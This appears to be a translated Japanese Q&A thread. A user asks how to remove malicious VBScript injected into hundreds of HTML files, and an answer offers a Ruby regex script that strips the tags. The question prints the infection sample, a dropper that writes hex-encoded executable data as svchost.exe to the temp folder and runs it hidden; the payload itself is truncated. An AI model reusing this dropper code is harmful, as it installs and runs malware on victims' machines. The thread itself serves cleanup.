1

私のコンピューターには、友人から借りた html ファイルがいくつかありますが、残念ながらすべてのファイルが感染しており、悪意のある vbscript コードがソースに挿入されています。何百ものファイルがあり、すべてのファイルのソースを編集できません。悪意のあるスクリプトを削除してもデータを取得する方法はありますか?

編集:コードのサンプルは次のとおりです

<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000000400........................8CB03FA48CB03"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

オンラインにアップロードしても安全ですか?

4

1 に答える 1

1

このウイルスを検出し、感染した html ファイルを削除するウイルス対策ソフトウェアは多数あります。

その悪い vbscript タグを検出して削除する次の ruby​​ スクリプトを実行できます。

class VirusKiller
  VIRUS_REG = /<SCRIPT Language=VBScript>[\s\w\W\d.]*<\/SCRIPT>/

  def fix_html_virus(file)
     return if File.extname(file) != '.html'
     file_content = File.read(file) 
     clean_content = file_content.gsub(VIRUS_REG, '')
     File.open(file, "w") { |new_file| new_file << clean_content }
  end

  def transverse_files(base)
    Dir.foreach(base) do |file|
      begin
        next if file == '.' or file == '..'

        if File.file?(base+file)
          fix_html_virus base+file
        else
          transverse_files(base+file+'/')
        end
      rescue Exception => e
        puts e.message
      end
    end
  end

  def run(root_path)
    transverse_files root_path
  end
end

VirusKiller.new.run ARGV[0]

Ruby をインストールし、このスクリプトをファイル ( virus_killer.rb としましょう) にコピーします。cmd (ウィンドウにいる場合) でこのファイルの場所を参照し、このコマンドを実行します。

ruby virus_killer.rb /path/to/infected_folder/
于 2015-04-07T05:55:44.273 に答える